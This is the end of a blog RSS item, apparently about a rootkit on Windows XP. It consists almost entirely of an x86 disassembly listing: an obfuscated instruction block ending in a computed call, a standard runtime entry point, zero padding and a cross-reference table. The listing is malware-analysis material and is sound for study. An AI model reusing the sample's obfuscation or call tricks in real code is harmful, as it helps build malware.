<p>:00401A26 662DE000                sub ax, 00E0</p>
<p>:00401A2A C1E904                  shr ecx, 04</p>
<p>:00401A2D 23C8                    and ecx, eax</p>
<p>:00401A2F 66C1E017                shl ax, 17</p>
<p>:00401A33 6603C9                  add cx, cx</p>
<p>:00401A36 662D0E19                sub ax, 190E</p>
<p>:00401A3A 6649                    dec cx</p>
<p>:00401A3C B900010000              mov ecx, 00000100</p>
<p>:00401A41 C1E102                  shl ecx, 02</p>
<p>:00401A44 034DE8                  add ecx, dword[ebp-18]</p>
<p>:00401A47 6A14                    push 014</p>
<p>:00401A49 58                      pop eax</p>
<p>:00401A4A 83C004                  add eax, 004</p>
<p>:00401A4D 03C8                    add ecx, eax</p>
<p>:00401A4F 894DC0                  mov dword[ebp-40], ecx</p>
<p>:00401A52 23C8                    and ecx, eax</p>
<p>:00401A54 2BC8                    sub ecx, eax</p>
<p>:00401A56 66C1E11F                shl cx, 1F</p>
<p>:00401A5A 66C1E90D                shr cx, 0D</p>
<p>:00401A5E B154                    mov cl, 54</p>
<p>:00401A60 864D13                  xchg byte[ebp+13], cl</p>
<p>:00401A63 FF75E8                  push dword[ebp-18]</p>
<p>:00401A66 FF75C0                  push dword[ebp-40]</p>
<p>:00401A69 58                      pop eax</p>
<p>:00401A6A FFD0                    call eax</p>
<p>:00401A6C 34FC                    xor al, -04</p>
<p>:00401A6E 80E5A2                  and ch, -5E</p>
<p>:00401A71 C1E10F                  shl ecx, 0F</p>
<p>:00401A74 23C1                    and eax, ecx</p>
<p>:00401A76 33C8                    xor ecx, eax</p>
<p>:00401A78 C1E91E                  shr ecx, 1E</p>
<p>:00401A7B 6681F1D6BB              xor cx, BBD6</p>
<p>:00401A80 C1E903                  shr ecx, 03</p>
<p>:00401A83 33C9                    xor ecx, ecx</p>
<p>&#8212;&#8212;&#8212;</p>
<p>:00401A85 80E920                  sub cl, 20</p>
<p>:00401A88 C1E117                  shl ecx, 17</p>
<p>:00401A8B C0E41A                  shl ah, 1A</p>
<p>:00401A8E C1E814                  shr eax, 14</p>
<p>:00401A91 66C1E00B                shl ax, 0B</p>
<p>:00401A95 FECB                    dec bl</p>
<p>:00401A97 6635547A                xor ax, 7A54</p>
<p>:00401A9B 6683E970                sub cx, 070</p>
<p>:00401A9F 5F                      pop edi</p>
<p>:00401AA0 5E                      pop esi</p>
<p>:00401AA1 33C0                    xor eax, eax</p>
<p>:00401AA3 5B                      pop ebx</p>
<p>:00401AA4 8BE5                    mov esp, ebp</p>
<p>:00401AA6 5D                      pop ebp</p>
<p>:00401AA7 C21000                  ret 0010</p>
<p>:00401AAA 90 90 90 90 90 90                                 &#8230;&#8230;</p>
<p>//******************** Program Entry Point ********</p>
<p>:00401AB0 55                      push ebp</p>
<p>:00401AB1 8BEC                    mov ebp, esp</p>
<p>:00401AB3 6AFF                    push -001</p>
<p>:00401AB5 6840224000              push 00402240</p>
<p>:00401ABA 68301C4000              push 00401C30</p>
<p>:00401ABF 64A100000000            mov eax, dword fs:[00000000]</p>
<p>:00401AC5 50                      push eax</p>
<p>:00401AC6 64892500000000          mov dword fs:[00000000], esp</p>
<p>:00401ACD 83EC68                  sub esp, 068</p>
<p>:00401AD0 53                      push ebx</p>
<p>:00401AD1 56                      push esi</p>
<p>:00401AD2 57                      push edi</p>
<p>:00401AD3 8965E8                  mov dword[ebp-18], esp</p>
<p>:00401AD6 33DB                    xor ebx, ebx</p>
<p>:00401AD8 895DFC                  mov dword[ebp-04], ebx</p>
<p>:00401ADB 6A02                    push 002</p>
<p>:00401ADD FF1530214000            call dword[00402130 ->00002E90 __set_app_type]</p>
<p>                            ;;call MSVCRT.__set_app_type</p>
<p>:00401AE3 59                      pop ecx</p>
<p>:00401AE4 830D80D44400FF          or dword[0044D480], -001</p>
<p>:00401AEB 830D84D44400FF          or dword[0044D484], -001</p>
<p>:00401AF2 FF1534214000            call dword[00402134 ->00002E82 __p__fmode]</p>
<p>                            ;;call MSVCRT.__p__fmode</p>
<p>:00401AF8 8B0D7CD44400            mov ecx, dword[0044D47C]</p>
<p>:00401AFE 8908                    mov dword[eax], ecx</p>
<p>:00401B00 FF1538214000            call dword[00402138 ->00002E72 __p__commode]</p>
<p>                            ;;call MSVCRT.__p__commode</p>
<p>:00401B06 8B0D78D44400            mov ecx, dword[0044D478]</p>
<p>:00401B0C 8908                    mov dword[eax], ecx</p>
<p>:00401B0E A13C214000              mov eax, dword[0040213C] ->00002E62 _adjust_fdiv</p>
<p>:00401B13 8B00                    mov eax, dword[eax]</p>
<p>:00401B15 A388D44400              mov dword[0044D488], eax</p>
<p>:00401B1A E810010000              call 00401C2F</p>
<p>:00401B1F 391D6CD44400            cmp dword[0044D46C], ebx</p>
<p>:00401B25 750C                    jne 00401B33</p>
<p>:00401B27 682C1C4000              push 00401C2C</p>
<p>:00401B2C FF1540214000            call dword[00402140 ->00002E4E __setusermatherr]</p>
<p>                            ;;call MSVCRT.__setusermatherr</p>
<p>:00401B32 59                      pop ecx</p>
<p>&#8212;&#8212;&#8212;</p>
<p>:00401B33 E8E2000000              call 00401C1A</p>
<p>:00401B38 680C304000              push 0040300C</p>
<p>:00401B3D 6808304000              push 00403008</p>
<p>:00401B42 E8CD000000              call 00401C14</p>
<p>                            ;;call MSVCRT._initterm</p>
<p>:00401B47 A174D44400              mov eax, dword[0044D474]</p>
<p>:00401B4C 894594                  mov dword[ebp-6C], eax</p>
<p>:00401B4F 8D4594                  lea eax, dword[ebp-6C]</p>
<p>:00401B52 50                      push eax</p>
<p>:00401B53 FF3570D44400            push dword[0044D470]</p>
<p>:00401B59 8D459C                  lea eax, dword[ebp-64]</p>
<p>:00401B5C 50                      push eax</p>
<p>:00401B5D 8D4590                  lea eax, dword[ebp-70]</p>
<p>:00401B60 50                      push eax</p>
<p>:00401B61 8D45A0                  lea eax, dword[ebp-60]</p>
<p>:00401B64 50                      push eax</p>
<p>:00401B65 FF1548214000            call dword[00402148 ->00002E32 __getmainargs]</p>
<p>                            ;;call MSVCRT.__getmainargs</p>
<p>:00401B6B 6804304000              push 00403004</p>
<p>:00401B70 6800304000              push 00403000</p>
<p>:00401B75 E89A000000              call 00401C14</p>
<p>                            ;;call MSVCRT._initterm</p>
<p>:00401B7A 83C424                  add esp, 024</p>
<p>:00401B7D A14C214000              mov eax, dword[0040214C] ->00002E28 _acmdln</p>
<p>:00401B82 8B30                    mov esi, dword[eax]</p>
<p>:00401B84 89758C                  mov dword[ebp-74], esi</p>
<p>:00401B87 803E22                  cmp byte[esi], 22</p>
<p>:00401B8A 753A                    jne 00401BC6</p>
<p>&#8212;&#8212;&#8212;</p>
<p>:00401B8C 46                      inc esi</p>
<p>:00401B8D 89758C                  mov dword[ebp-74], esi</p>
<p>:00401B90 8A06                    mov al, byte[esi]</p>
<p>:00401B92 3AC3                    cmp al, bl</p>
<p>:00401B94 7404                    je 00401B9A</p>
<p>:00401B96 3C22                    cmp al, 22</p>
<p>:00401B98 75F2                    jne 00401B8C</p>
<p>&#8212;&#8212;&#8212;</p>
<p>:00401B9A 803E22                  cmp byte[esi], 22</p>
<p>:00401B9D 7504                    jne 00401BA3</p>
<p>&#8212;&#8212;&#8212;</p>
<p>:00401B9F 46                      inc esi</p>
<p>:00401BA0 89758C                  mov dword[ebp-74], esi</p>
<p>&#8212;&#8212;&#8212;</p>
<p>:00401BA3 8A06                    mov al, byte[esi]</p>
<p>:00401BA5 3AC3                    cmp al, bl</p>
<p>:00401BA7 7404                    je 00401BAD</p>
<p>:00401BA9 3C20                    cmp al, 20</p>
<p>:00401BAB 76F2                    jbe 00401B9F</p>
<p>&#8212;&#8212;&#8212;</p>
<p>:00401BAD 895DD0                  mov dword[ebp-30], ebx</p>
<p>:00401BB0 8D45A4                  lea eax, dword[ebp-5C]</p>
<p>:00401BB3 50                      push eax</p>
<p>:00401BB4 FF151C214000            call dword[0040211C ->00002ED0 GetStartupInfoA]</p>
<p>                            ;;call KERNEL32.GetStartupInfoA</p>
<p>:00401BBA F645D001                test byte[ebp-30], 01</p>
<p>:00401BBE 7411                    je 00401BD1</p>
<p>:00401BC0 0FB745D4                movzx eax, word[ebp-2C]</p>
<p>:00401BC4 EB0E                    jmp 00401BD4</p>
<p>&#8212;&#8212;&#8212;</p>
<p>:00401BC6 803E20                  cmp byte[esi], 20</p>
<p>:00401BC9 76D8                    jbe 00401BA3</p>
<p>:00401BCB 46                      inc esi</p>
<p>:00401BCC 89758C                  mov dword[ebp-74], esi</p>
<p>:00401BCF EBF5                    jmp 00401BC6</p>
<p>&#8212;&#8212;&#8212;</p>
<p>:00401BD1 6A0A                    push 00A</p>
<p>:00401BD3 58                      pop eax</p>
<p>&#8212;&#8212;&#8212;</p>
<p>:00401BD4 50                      push eax</p>
<p>:00401BD5 56                      push esi</p>
<p>:00401BD6 53                      push ebx</p>
<p>:00401BD7 53                      push ebx</p>
<p>:00401BD8 FF15D8204000            call dword[004020D8 ->0000268C GetModuleHandleA]</p>
<p>                            ;;call KERNEL32.GetModuleHandleA</p>
<p>:00401BDE 50                      push eax</p>
<p>:00401BDF E86CF5FFFF              call 00401150</p>
<p>:00401BE4 894598                  mov dword[ebp-68], eax</p>
<p>:00401BE7 50                      push eax</p>
<p>:00401BE8 FF1550214000            call dword[00402150 ->00002E20 exit]</p>
<p>                            ;;call MSVCRT.exit</p>
<p>:00401BEE 8B45EC                  mov eax, dword[ebp-14]</p>
<p>:00401BF1 8B08                    mov ecx, dword[eax]</p>
<p>:00401BF3 8B09                    mov ecx, dword[ecx]</p>
<p>:00401BF5 894D88                  mov dword[ebp-78], ecx</p>
<p>:00401BF8 50                      push eax</p>
<p>:00401BF9 51                      push ecx</p>
<p>:00401BFA E80F000000              call 00401C0E</p>
<p>                            ;;call MSVCRT._XcptFilter</p>
<p>:00401BFF 59                      pop ecx</p>
<p>:00401C00 59                      pop ecx</p>
<p>:00401C01 C3                      ret</p>
<p>:00401C02 8B65E8                  mov esp, dword[ebp-18]</p>
<p>:00401C05 FF7588                  push dword[ebp-78]</p>
<p>:00401C08 FF1558214000            call dword[00402158 ->00002E0A _exit]</p>
<p>                            ;;call MSVCRT._exit</p>
<p>=========</p>
<p>:00401C0E FF2554214000            jmp dword[00402154 ->00002E12 _XcptFilter]</p>
<p>                            ;;call MSVCRT._XcptFilter</p>
<p>=========</p>
<p>:00401C14 FF2544214000            jmp dword[00402144 ->00002E42 _initterm]</p>
<p>                            ;;call MSVCRT._initterm</p>
<p>=========</p>
<p>:00401C1A 6800000300              push 00030000</p>
<p>:00401C1F 6800000100              push 00010000</p>
<p>:00401C24 E80D000000              call 00401C36</p>
<p>                            ;;call MSVCRT._controlfp</p>
<p>:00401C29 59                      pop ecx</p>
<p>:00401C2A 59                      pop ecx</p>
<p>:00401C2B C3                      ret</p>
<p>&#8212;&#8212;&#8212;</p>
<p>:00401C2C 33C0                    xor eax, eax</p>
<p>:00401C2E C3                      ret</p>
<p>=========</p>
<p>:00401C2F C3                      ret</p>
<p>&#8212;&#8212;&#8212;</p>
<p>:00401C30 FF252C214000            jmp dword[0040212C ->00002EA2 _except_handler3]</p>
<p>                            ;;call MSVCRT._except_handler3</p>
<p>=========</p>
<p>:00401C36 FF255C214000            jmp dword[0040215C ->00002EC2 _controlfp]</p>
<p>                            ;;call MSVCRT._controlfp</p>
<p>:00401C3C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   &#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>:00401C4C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   &#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>:00401C5C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   &#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>:00401C6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   &#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>:00401C7C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   &#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>:00401C8C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   &#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>:00401C9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   &#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>:00401CAC 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   &#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>:00401CBC 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   &#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>:00401CCC 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   &#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>:00401CDC 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   &#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>:00401CEC 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   &#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>:00401CFC 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   &#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>:00401D0C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   &#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>:00401D1C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   &#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>:00401D2C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   &#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>:00401D3C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   &#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>:00401D4C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   &#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>:00401D5C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   &#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>:00401D6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   &#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>:00401D7C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   &#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>:00401D8C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   &#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>:00401D9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   &#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>:00401DAC 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   &#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>:00401DBC 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   &#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>:00401DCC 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   &#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>:00401DDC 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   &#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>:00401DEC 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   &#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>:00401DFC 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   &#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>:00401E0C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   &#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>:00401E1C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   &#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>:00401E2C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   &#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>:00401E3C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   &#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>:00401E4C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   &#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>:00401E5C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   &#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>:00401E6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   &#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>:00401E7C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   &#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>:00401E8C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   &#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>:00401E9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   &#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>:00401EAC 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   &#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>:00401EBC 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   &#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>:00401ECC 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   &#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>:00401EDC 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   &#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>:00401EEC 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   &#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>:00401EFC 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   &#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>:00401F0C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   &#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>:00401F1C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   &#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>:00401F2C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   &#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>:00401F3C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   &#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>:00401F4C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   &#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>:00401F5C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   &#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>:00401F6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   &#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>:00401F7C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   &#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>:00401F8C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   &#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>:00401F9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   &#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>:00401FAC 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   &#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>:00401FBC 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   &#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>:00401FCC 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   &#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>:00401FDC 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   &#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>:00401FEC 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   &#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>:00401FFC 00 00 00 00                                       &#8230;.</p>
<p>*************** Cross Reference Listing ****************</p>
<p>==00401000::00401097,</p>
<p>==00401010::0040109F,</p>
<p>==00401030::00401067,</p>
<p>==00401040::00401125,</p>
<p>==00401060::0040113A,</p>
<p>==00401090::004018F0,</p>
<p>==004010C0::00401950,</p>
<p>==00401110::00401985,</p>
<p>&#8211;004017F5::004019F4,</p>
<p>&#8211;00401A18::00401859,</p>
<p>&#8211;00401A85::00401603,</p>
<p>==00401C0E::00401BFA,</p>
<p>==00401C14::00401B42,00401B75,</p>
<p>==00401C1A::00401B33,</p>
<p>&#8211;00401C2C::00401B27,</p>
<p>==00401C2F::00401B1A,</p>
<p>&#8211;00401C30::00401ABA,</p>
<p>==00401C36::00401C24,</p>
<p>*************** END OF LISTING ********************************** </p>
]]></content:encoded>
			<wfw:commentRss>http://www.huanix.com/2008/08/30/yicqcga-running-as-a-rootkit-on-xp/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

